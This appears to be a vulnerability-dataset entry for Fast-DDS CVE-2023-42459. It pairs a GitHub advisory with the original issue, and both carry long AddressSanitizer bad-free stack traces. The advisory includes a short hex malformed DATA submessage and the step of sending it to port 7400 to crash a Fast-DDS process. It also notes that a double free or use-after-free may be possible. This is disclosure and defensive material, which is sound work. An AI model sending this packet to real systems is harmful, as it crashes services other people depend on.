Project: fast-dds (eprosima/fast-dds), language: c++
Vulnerability instance: fast-dds.cve-2023-42459
Sanitizer: address

================= Bug Report (1/2) ==================
## Source: GitHub Advisory
## URL: https://github.com/eProsima/Fast-DDS/security/advisories/GHSA-gq8g-fj58-22gm
## Description:
Advisory ID: GHSA-gq8g-fj58-22gm
Title: Malformed DATA submessage leads to bad-free error

Description:
Summary
This was initially found in v2.9.0 and reported as issue #3207. The issue is still persistent in v2.11.1.
Details
When the following DATA submessage is sent to a discovery locator, it triggers ASan's bad-free error:
0000   15 17 18 00 00 00 10 92 00 00 00 00 00 01 00 c2
0010   00 00 00 00 02 00 00 00 01 00 00 00
The octetsToInlineQoS field is malformed (0x9210), which normally is 16.
In proc_Submsg_Data(), ch.serializedPayload.data = nullptr; triggers ASan:
In file: /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/messages/MessageReceiver.cpp
   882     {
   883         payload_pool->release_payload(ch);
   884     }
   885
   886     //TODO(Ricardo) If an exception is thrown (ex, by fastcdr), these lines are not executed -> segmentation fault
 ► 887     ch.serializedPayload.data = nullptr;
   888     ch.inline_qos.data = nullptr;
   889
   890     EPROSIMA_LOG_INFO(RTPS_MSG_IN, IDSTRING "Sub Message DATA processed");
   891     return true;
   892 }
ASan report:
    #0 0x4db152 in free (/home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x4db152)
    #1 0x54c125 in eprosima::fastrtps::rtps::SerializedPayload_t::empty() (/home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x54c125)
    #2 0x54b46c in eprosima::fastrtps::rtps::SerializedPayload_t::~SerializedPayload_t() (/home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x54b46c)
    #3 0x7ffff5f5daca in eprosima::fastrtps::rtps::CacheChange_t::~CacheChange_t() /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/include/fastdds/rtps/common/CacheChange.h:184:5
    #4 0x7ffff6111e01 in eprosima::fastrtps::rtps::MessageReceiver::proc_Submsg_Data(eprosima::fastrtps::rtps::CDRMessage_t*, eprosima::fastrtps::rtps::SubmessageHeader_t*, eprosima::fastrtps::rtps::EntityId_t&) const /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/messages/MessageReceiver.cpp:892:1
    #5 0x7ffff61003b8 in eprosima::fastrtps::rtps::MessageReceiver::processCDRMsg(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::CDRMessage_t*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/messages/MessageReceiver.cpp:439:33
    #6 0x7ffff61769b6 in eprosima::fastrtps::rtps::ReceiverResource::OnDataReceived(unsigned char const*, unsigned int, eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::Locator_t const&) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/network/ReceiverResource.cpp:134:14
    #7 0x7ffff65c1773 in eprosima::fastdds::rtps::UDPChannelResource::perform_listen_operation(eprosima::fastrtps::rtps::Locator_t) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/transport/UDPChannelResource.cpp:70:33
    #8 0x7ffff65cc2dd in void std::__invoke_impl<void, void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t>(std::__invoke_memfun_deref, void (eprosima::fastdds::rtps::UDPChannelResource::*&&)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*&&, eprosima::fastrtps::rtps::Locator_t&&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/invoke.h:73:14
    #9 0x7ffff65cbeca in std::__invoke_result<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t>::type std::__invoke<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t>(void (eprosima::fastdds::rtps::UDPChannelResource::*&&)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*&&, eprosima::fastrtps::rtps::Locator_t&&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/invoke.h:95:14
    #10 0x7ffff65cbe3a in void std::thread::_Invoker<std::tuple<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t> >::_M_invoke<0ul, 1ul, 2ul>(std::_Index_tuple<0ul, 1ul, 2ul>) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/thread:244:13
    #11 0x7ffff65cbda4 in std::thread::_Invoker<std::tuple<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t> >::operator()() /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/thread:251:11
    #12 0x7ffff65cb6b8 in std::thread::_State_impl<std::thread::_Invoker<std::tuple<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t> > >::_M_run() /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/thread:195:13
    #13 0x7ffff473edf3  (/lib/x86_64-linux-gnu/libstdc++.so.6+0xd6df3)
    #14 0x7ffff4be4608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8
    #15 0x7ffff4429132 in clone /build/glibc-SzIz7B/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95

0x63100002882c is located 44 bytes inside of 65500-byte region [0x631000028800,0x6310000387dc)
allocated by thread T0 here:
    #0 0x4db3bd in malloc (/home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x4db3bd)
    #1 0x7ffff60e7b43 in eprosima::fastrtps::rtps::CDRMessage_t::CDRMessage_t(unsigned int) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/include/fastdds/rtps/common/CDRMessage_t.h:79:30
    #2 0x7ffff65bff63 in eprosima::fastdds::rtps::ChannelResource::ChannelResource(unsigned int) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/transport/ChannelResource.cpp:45:7
    #3 0x7ffff65c0dd7 in eprosima::fastdds::rtps::UDPChannelResource::UDPChannelResource(eprosima::fastdds::rtps::UDPTransportInterface*, asio::basic_datagram_socket<asio::ip::udp>&, unsigned int, eprosima::fastrtps::rtps::Locator_t const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, eprosima::fastdds::rtps::TransportReceiverInterface*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/transport/UDPChannelResource.cpp:35:7
    #4 0x7ffff6700393 in eprosima::fastdds::rtps::UDPTransportInterface::CreateInputChannelResource(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, eprosima::fastrtps::rtps::Locator_t const&, bool, unsigned int, eprosima::fastdds::rtps::TransportReceiverInterface*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/transport/UDPTransportInterface.cpp:233:50
    #5 0x7ffff6705a83 in eprosima::fastdds::rtps::UDPTransportInterface::OpenAndBindInputSockets(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastdds::rtps::TransportReceiverInterface*, bool, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/transport/UDPTransportInterface.cpp:207:34
    #6 0x7ffff66500a9 in eprosima::fastdds::rtps::UDPv4Transport::OpenInputChannel(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastdds::rtps::TransportReceiverInterface*, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/transport/UDPv4Transport.cpp:328:19
    #7 0x7ffff61748eb in eprosima::fastrtps::rtps::ReceiverResource::ReceiverResource(eprosima::fastdds::rtps::TransportInterface&, eprosima::fastrtps::rtps::Locator_t const&, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/network/ReceiverResource.cpp:45:24
    #8 0x7ffff6162155 in eprosima::fastrtps::rtps::NetworkFactory::BuildReceiverResources(eprosima::fastrtps::rtps::Locator_t&, std::vector<std::shared_ptr<eprosima::fastrtps::rtps::ReceiverResource>, std::allocator<std::shared_ptr<eprosima::fastrtps::rtps::ReceiverResource> > >&, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/network/NetworkFactory.cpp:74:25
    #9 0x7ffff618910a in eprosima::fastrtps::rtps::RTPSParticipantImpl::createReceiverResources(eprosima::fastdds::rtps::LocatorList&, bool, bool) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:1701:38
    #10 0x7ffff6181598 in eprosima::fastrtps::rtps::RTPSParticipantImpl::RTPSParticipantImpl(unsigned int, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::RTPSParticipant*, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:357:5
    #11 0x7ffff618aba9 in eprosima::fastrtps::rtps::RTPSParticipantImpl::RTPSParticipantImpl(unsigned int, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::RTPSParticipant*, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:450:7
    #12 0x7ffff6219ace in eprosima::fastrtps::rtps::RTPSDomainImpl::createParticipant(unsigned int, bool, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/RTPSDomain.cpp:199:21
    #13 0x7ffff621bd07 in eprosima::fastrtps::rtps::RTPSDomain::createParticipant(unsigned int, bool, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/RTPSDomain.cpp:88:12
    #14 0x7ffff64e91eb in eprosima::fastdds::dds::DomainParticipantImpl::enable() /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/fastdds/domain/DomainParticipantImpl.cpp:277:16
    #15 0x7ffff6569195 in eprosima::fastdds::dds::DomainParticipant::enable() /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/fastdds/domain/DomainParticipant.cpp:110:36
    #16 0x7ffff64bad1a in eprosima::fastdds::dds::DomainParticipantFactory::create_participant(unsigned int, eprosima::fastdds::dds::DomainParticipantQos const&, eprosima::fastdds::dds::DomainParticipantListener*, eprosima::fastdds::dds::StatusMask const&) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/fastdds/domain/DomainParticipantFactory.cpp:189:55
    #17 0x56c9cc in HelloWorldSubscriber::init(bool) (/home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x56c9cc)
    #18 0x574de1 in main (/home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x574de1)
    #19 0x7ffff432e082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16

Thread T4 created by T0 here:
    #0 0x4c571c in pthread_create (/home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x4c571c)
    #1 0x7ffff473f0c9 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xd70c9)
    #2 0x7ffff65c0f99 in eprosima::fastdds::rtps::UDPChannelResource::UDPChannelResource(eprosima::fastdds::rtps::UDPTransportInterface*, asio::basic_datagram_socket<asio::ip::udp>&, unsigned int, eprosima::fastrtps::rtps::Locator_t const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, eprosima::fastdds::rtps::TransportReceiverInterface*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/transport/UDPChannelResource.cpp:42:12
    #3 0x7ffff6700393 in eprosima::fastdds::rtps::UDPTransportInterface::CreateInputChannelResource(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, eprosima::fastrtps::rtps::Locator_t const&, bool, unsigned int, eprosima::fastdds::rtps::TransportReceiverInterface*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/transport/UDPTransportInterface.cpp:233:50
    #4 0x7ffff6705a83 in eprosima::fastdds::rtps::UDPTransportInterface::OpenAndBindInputSockets(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastdds::rtps::TransportReceiverInterface*, bool, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/transport/UDPTransportInterface.cpp:207:34
    #5 0x7ffff66500a9 in eprosima::fastdds::rtps::UDPv4Transport::OpenInputChannel(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastdds::rtps::TransportReceiverInterface*, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/transport/UDPv4Transport.cpp:328:19
    #6 0x7ffff61748eb in eprosima::fastrtps::rtps::ReceiverResource::ReceiverResource(eprosima::fastdds::rtps::TransportInterface&, eprosima::fastrtps::rtps::Locator_t const&, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/network/ReceiverResource.cpp:45:24
    #7 0x7ffff6162155 in eprosima::fastrtps::rtps::NetworkFactory::BuildReceiverResources(eprosima::fastrtps::rtps::Locator_t&, std::vector<std::shared_ptr<eprosima::fastrtps::rtps::ReceiverResource>, std::allocator<std::shared_ptr<eprosima::fastrtps::rtps::ReceiverResource> > >&, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/network/NetworkFactory.cpp:74:25
    #8 0x7ffff618910a in eprosima::fastrtps::rtps::RTPSParticipantImpl::createReceiverResources(eprosima::fastdds::rtps::LocatorList&, bool, bool) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:1701:38
    #9 0x7ffff6181598 in eprosima::fastrtps::rtps::RTPSParticipantImpl::RTPSParticipantImpl(unsigned int, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::RTPSParticipant*, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:357:5
    #10 0x7ffff618aba9 in eprosima::fastrtps::rtps::RTPSParticipantImpl::RTPSParticipantImpl(unsigned int, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::RTPSParticipant*, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:450:7
    #11 0x7ffff6219ace in eprosima::fastrtps::rtps::RTPSDomainImpl::createParticipant(unsigned int, bool, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/RTPSDomain.cpp:199:21
    #12 0x7ffff621bd07 in eprosima::fastrtps::rtps::RTPSDomain::createParticipant(unsigned int, bool, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/rtps/RTPSDomain.cpp:88:12
    #13 0x7ffff64e91eb in eprosima::fastdds::dds::DomainParticipantImpl::enable() /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/fastdds/domain/DomainParticipantImpl.cpp:277:16
    #14 0x7ffff6569195 in eprosima::fastdds::dds::DomainParticipant::enable() /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/fastdds/domain/DomainParticipant.cpp:110:36
    #15 0x7ffff64bad1a in eprosima::fastdds::dds::DomainParticipantFactory::create_participant(unsigned int, eprosima::fastdds::dds::DomainParticipantQos const&, eprosima::fastdds::dds::DomainParticipantListener*, eprosima::fastdds::dds::StatusMask const&) /home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/src/cpp/fastdds/domain/DomainParticipantFactory.cpp:189:55
    #16 0x56c9cc in HelloWorldSubscriber::init(bool) (/home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x56c9cc)
    #17 0x574de1 in main (/home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x574de1)
    #18 0x7ffff432e082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: bad-free (/home/seulbae/ddssecurity/targets/fastdds-master/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x4db152) in free
==2597607==ABORTING
PoC
Run any fastdds process on domain 0.
Send the DATA submessage above to 127.0.0.1:7400.
Impact
This can remotely crash any Fast-DDS process.
As free()'s ptr is controlled, this vulnerability can potentially be exploited to do double free attacks or UAF.


References:
https://github.com/eProsima/Fast-DDS/issues/3207

================= Bug Report (2/2) ==================
## Source: GitHub Issue
## URL: https://github.com/eProsima/Fast-DDS/issues/3207
## Description:
Issue: eProsima/Fast-DDS#3207
Title: [16784] Malformed DATA submessage leads to bad-free during SPDP
State: closed
Created by: squizz617
Created at: 2023-01-11 20:26:33+00:00
Labels: bug

Issue Body:
### Is there an already existing issue for this?

- [X] I have searched the existing issues

### Expected behavior

Malformed submessages should be handled properly.

### Current behavior


* Compiled with gcc 9.4.0:
```
$ ./DDSHelloWorldExample publisher
Starting 
Publisher running 10 samples.
free(): invalid pointer
[1]    2257088 abort      ./DDSHelloWorldExample publisher
```

* Compiled with ASAN + afl-clang-fast:
```
$ ./DDSHelloWorldExample publisher 
Starting 
Publisher running 10 samples.
=================================================================
2023-01-11 14:43:46.492 [RTPS_MSG_IN Warning] (ID:140251965019904) Serialized Payload value invalid or larger than maximum allowed size(28160/0) -> Function proc_Submsg_Data
==2252002==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x63100001482c in thread T3
    #0 0x4aa3d2 in free (/home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x4aa3d2)
    #1 0x7f8efa4a5529 in eprosima::fastrtps::rtps::SerializedPayload_t::empty() /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/include/fastdds/rtps/common/SerializedPayload.h:158:13
    #2 0x7f8efa4a5529 in eprosima::fastrtps::rtps::SerializedPayload_t::~SerializedPayload_t() /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/include/fastdds/rtps/common/SerializedPayload.h:92:15
    #3 0x7f8efa4a5529 in eprosima::fastrtps::rtps::CacheChange_t::~CacheChange_t() /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/include/fastdds/rtps/common/CacheChange.h:184:5
    #4 0x7f8efa59fb20 in eprosima::fastrtps::rtps::MessageReceiver::proc_Submsg_Data(eprosima::fastrtps::rtps::CDRMessage_t*, eprosima::fastrtps::rtps::SubmessageHeader_t*) const /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/messages/MessageReceiver.cpp:857:1
    #5 0x7f8efa5994cf in eprosima::fastrtps::rtps::MessageReceiver::processCDRMsg(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::CDRMessage_t*) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/messages/MessageReceiver.cpp:419:29
    #6 0x7f8efa5d52e0 in eprosima::fastrtps::rtps::ReceiverResource::OnDataReceived(unsigned char const*, unsigned int, eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::Locator_t const&) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/network/ReceiverResource.cpp:132:14
    #7 0x7f8efa85ac74 in eprosima::fastdds::rtps::UDPChannelResource::perform_listen_operation(eprosima::fastrtps::rtps::Locator_t) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/transport/UDPChannelResource.cpp:70:33
    #8 0x7f8efa860bdf in void std::__invoke_impl<void, void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t>(std::__invoke_memfun_deref, void (eprosima::fastdds::rtps::UDPChannelResource::*&&)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*&&, eprosima::fastrtps::rtps::Locator_t&&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/invoke.h:73:14
    #9 0x7f8efa860bdf in std::__invoke_result<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t>::type std::__invoke<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t>(void (eprosima::fastdds::rtps::UDPChannelResource::*&&)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*&&, eprosima::fastrtps::rtps::Locator_t&&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/invoke.h:95:14
    #10 0x7f8efa860bdf in void std::thread::_Invoker<std::tuple<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t> >::_M_invoke<0ul, 1ul, 2ul>(std::_Index_tuple<0ul, 1ul, 2ul>) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/thread:244:13
    #11 0x7f8efa860bdf in std::thread::_Invoker<std::tuple<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t> >::operator()() /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/thread:251:11
    #12 0x7f8efa860bdf in std::thread::_State_impl<std::thread::_Invoker<std::tuple<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t> > >::_M_run() /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/thread:195:13
    #13 0x7f8ef980cde3  (/lib/x86_64-linux-gnu/libstdc++.so.6+0xd6de3)
    #14 0x7f8ef9cb2608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8
    #15 0x7f8ef94f7132 in clone /build/glibc-SzIz7B/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95

0x63100001482c is located 44 bytes inside of 65500-byte region [0x631000014800,0x6310000247dc)
allocated by thread T0 here:
    #0 0x4aa63d in malloc (/home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x4aa63d)
    #1 0x7f8efa859706 in eprosima::fastrtps::rtps::CDRMessage_t::CDRMessage_t(unsigned int) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/include/fastdds/rtps/common/CDRMessage_t.h:79:30
    #2 0x7f8efa859706 in eprosima::fastdds::rtps::ChannelResource::ChannelResource(unsigned int) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/transport/ChannelResource.cpp:45:7

Thread T3 created by T0 here:
    #0 0x49499c in pthread_create (/home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/examples/cpp/dds/HelloWorldExample/DDSHelloWorldExample+0x49499c)
    #1 0x7f8ef980d0a8 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xd70a8)
    #2 0x7f8efa91a964 in eprosima::fastdds::rtps::UDPTransportInterface::CreateInputChannelResource(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, eprosima::fastrtps::rtps::Locator_t const&, bool, unsigned int, eprosima::fastdds::rtps::TransportReceiverInterface*) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/transport/UDPTransportInterface.cpp:233:50
    #3 0x7f8efa920142 in eprosima::fastdds::rtps::UDPTransportInterface::OpenAndBindInputSockets(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastdds::rtps::TransportReceiverInterface*, bool, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/transport/UDPTransportInterface.cpp:207:34
    #4 0x7f8efa8b53cd in eprosima::fastdds::rtps::UDPv4Transport::OpenInputChannel(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastdds::rtps::TransportReceiverInterface*, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/transport/UDPv4Transport.cpp:327:19
    #5 0x7f8efa5d3d86 in eprosima::fastrtps::rtps::ReceiverResource::ReceiverResource(eprosima::fastdds::rtps::TransportInterface&, eprosima::fastrtps::rtps::Locator_t const&, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/network/ReceiverResource.cpp:43:24
    #6 0x7f8efa5ca610 in eprosima::fastrtps::rtps::NetworkFactory::BuildReceiverResources(eprosima::fastrtps::rtps::Locator_t&, std::vector<std::shared_ptr<eprosima::fastrtps::rtps::ReceiverResource>, std::allocator<std::shared_ptr<eprosima::fastrtps::rtps::ReceiverResource> > >&, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/network/NetworkFactory.cpp:74:25
    #7 0x7f8efa5e1516 in eprosima::fastrtps::rtps::RTPSParticipantImpl::createReceiverResources(eprosima::fastdds::rtps::LocatorList&, bool, bool) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:1680:38
    #8 0x7f8efa5db29a in eprosima::fastrtps::rtps::RTPSParticipantImpl::RTPSParticipantImpl(unsigned int, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::RTPSParticipant*, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:354:5
    #9 0x7f8efa5e3c53 in eprosima::fastrtps::rtps::RTPSParticipantImpl::RTPSParticipantImpl(unsigned int, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::RTPSParticipant*, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:449:7
    #10 0x7f8efa7f1b8a in eprosima::fastdds::dds::DomainParticipantImpl::enable() /home/seulbae/ddssecurity/targets/fastdds-290-afl/src/fastrtps/src/cpp/fastdds/domain/DomainParticipantImpl.cpp:268:16
